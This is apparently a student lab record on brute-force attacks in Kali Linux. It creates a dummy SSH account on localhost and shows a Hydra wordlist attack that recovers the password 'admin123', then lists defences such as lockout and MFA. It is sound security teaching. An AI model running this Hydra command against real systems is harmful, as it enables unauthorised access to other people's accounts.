EXPERIMENT - 14

Brute Force Attack Study in Kali Linux

Step 1: Start Environment

Open Oracle VirtualBox and start Kali Linux.

Step 2: Setup Test Environment

Use a local test account with dummy credentials in an isolated environment.

Step 3: Study Attack Concept

Understand how repeated login attempts are used to guess passwords.

Step 4: Simulated Demonstration

Observe multiple authentication attempts and system responses in a controlled setup.

Step 5: Analyze Risks and Prevention

Identify risks of weak passwords and study prevention methods like strong passwords, account lockout, and multi-factor authentication.

Output

Simulated login attempts demonstrate how weak passwords can be guessed.

```
┌──(shankar㉿kali)-[~]
└─$ sudo useradd -m testuser
[sudo] password for shankar:

┌──(shankar㉿kali)-[~]
└─$ sudo passwd testuser
New password:
Retype new password:
passwd: password updated successfully

┌──(shankar㉿kali)-[~]
└─$ sudo systemctl start ssh

┌──(shankar㉿kali)-[~]
└─$ nano wordlist.txt

┌──(shankar㉿kali)-[~]
└─$ hydra -l testuser -P wordlist.txt ssh://127.0.0.1
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non
-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-19 08:46:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: testuser   password: admin123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-19 08:46:39

┌──(shankar㉿kali)-[~]
└─$
```

Result

Brute force attack concepts were successfully studied, highlighting the importance of strong authentication mechanisms.